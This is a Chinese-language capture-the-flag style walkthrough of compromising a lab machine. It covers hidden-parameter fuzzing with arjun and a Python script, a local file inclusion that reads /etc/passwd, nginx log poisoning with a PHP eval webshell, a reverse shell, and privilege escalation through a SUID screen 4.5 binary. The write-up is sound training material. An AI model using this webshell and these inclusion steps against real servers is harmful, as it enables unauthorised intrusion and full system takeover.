一、信息收集
对靶机扫描发现,开放了80端口和111端口,其中111端口没啥特殊服务,真正的入口只有80端口,80端口用的是nginx 1.6.2。


对网站进行目录扫描,发现有个footer.php,推断可能文件包含的问题,有可能footer.php是通过参数传过去的。

<?php
// 包含配置文件
require_once 'config.php';
// 包含模板文件
include 'header.php';
echo "这是主要内容";
include 'footer.php';
?>
同时,发现有个留言界面,注意到提交留言后,footer.php的年份不一样。文件包含有两个条件,一是有文件包含的代码,二是能够获取到传递的参数。因此,下一步的思路就是爆破隐藏的url参数。
二、URL隐藏参数爆破
我们开启好bp,使用一个arjun的工具,这个工具可以组合字典里的参数名,进行自动化的排定。在proxychains配置代理为bp,这样arjun爆破的流量也能被及时捕获。爆破发现,arjun无法自动给出参数,通过bp发现,有一组(250多个)参数的值返回参数是997,其他是1014,我们把这一组参数拷贝下来,准备下一轮筛选,看看究竟是哪个参数发挥作用。
proxychains arjun -u http://192.168.136.194/thankyou.php -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt

为了找到这250多个参数,究竟是哪个参数有作用,我们可以使用bp爆破,但是bp爆破的速度实在太慢了,可以写个python脚本,按照bp的输出格式打印到一个csv文件。
import requests
import csv
import time
# ====== 配置区 ======
BASE_URL = "http://192.168.136.194/thankyou.php"
# 必需的基础参数(来自原始请求)
BASE_PARAMS = {
"firstname": "1",
"lastname": "111",
"country": "australia",
"subject": "11"
}
# 完整请求头(从 Burp 复制)
HEADERS = {
"Host": "192.168.136.194",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
DICT_FILE = "/tmp/1201.txt" # 所有要测试的隐藏参数列表
BATCH_SIZE = 1 # 每次组合 10 个参数一起发
# ====================
# 读取所有候选参数
with open(DICT_FILE, "r") as f:
all_test_params = [line.strip() for line in f if line.strip() and not line.startswith("#")]
print(f"[+] Loaded {len(all_test_params)} candidate parameters")
print(f"[+] Will test in batches of {BATCH_SIZE} parameters per request")
# CSV 输出
FIELDNAMES = ["Batch_Params", "URL", "Status code", "Length", "MIME type", "Time (ms)", "Response"]
with open("batch_results.csv", "w", newline="", encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=FIELDNAMES)
writer.writeheader()
# 分批:每批 BATCH_SIZE 个参数
for i in range(0, len(all_test_params), BATCH_SIZE):
batch = all_test_params[i:i + BATCH_SIZE]
print(f"\n[+] Sending request with params: {batch}")
# 构造完整参数:基础参数 + 当前批次的 10 个隐藏参数
payload = BASE_PARAMS.copy()
for param in batch:
payload[param] = "1" # 所有测试参数值设为 "1"
# 拼接 URL
query_str = "&".join([f"{k}={v}" for k, v in payload.items()])
url = BASE_URL + "?" + query_str
start = time.time()
try:
resp = requests.get(
url,
headers=HEADERS,
timeout=10,
verify=False,
allow_redirects=False
)
elapsed_ms = int((time.time() - start) * 1000)
row = {
"Batch_Params": ",".join(batch),
"URL": url,
"Status code": resp.status_code,
"Length": len(resp.content),
"MIME type": resp.headers.get("Content-Type", "unknown"),
"Time (ms)": elapsed_ms,
"Response": resp.text[:500].replace("\n", " ").replace("\r", " ")
}
writer.writerow(row)
print(f" → Status: {resp.status_code} | Length: {len(resp.content)}")
except Exception as e:
elapsed_ms = int((time.time() - start) * 1000)
row = {
"Batch_Params": ",".join(batch),
"URL": url,
"Status code": "ERROR",
"Length": 0,
"MIME type": "none",
"Time (ms)": elapsed_ms,
"Response": str(e)[:500]
}
writer.writerow(row)
print(f" → ERROR: {str(e)[:50]}")
print("\n✅ Done! Results saved to batch_results.csv")
可以发现file的长度是835,其他是852,因此答案就是file,输入?file=/etc/passwd,发现可以读到这个文件。

三、利用日志写码
当存在文件包含漏洞时候,被包含的文件都会当成php来执行,由于这个网站没有别的地方可以上传或者写文件,因此只能通过往日志里写码,并通过包含日志文件,实现访问和控制。
nginx日志的默认位置在/var/log/nginx/access.log
我们在在任意界面加上参数<?php @eval($_POST['pass']) ;?>,主要不要再前面加上?file之类的参数名,因为这样可能会和木马中的<闭合,造成你的马失效。

用antsword访问,访问后再虚拟终端里,用nc建立反弹shell


四、本地提权
接下来,开始本地提权,首先看看有没有suid位的程序。
find / -perm -4000 -type f 2>/dev/null
发现有个screen程序,他是远程运维的一个程序,查看版本是screen 4.5,再gtfobins网站查询,发现具备任意写文件的问题。

在kali的弹药库搜索发现存在一键提权的脚本:

我们通过之前的antsword建立的session上传文件,并在反弹shell中执行这个脚本(记得给它执行权限 chmod 777 dc5.sh)

655

被折叠的 条评论
为什么被折叠?



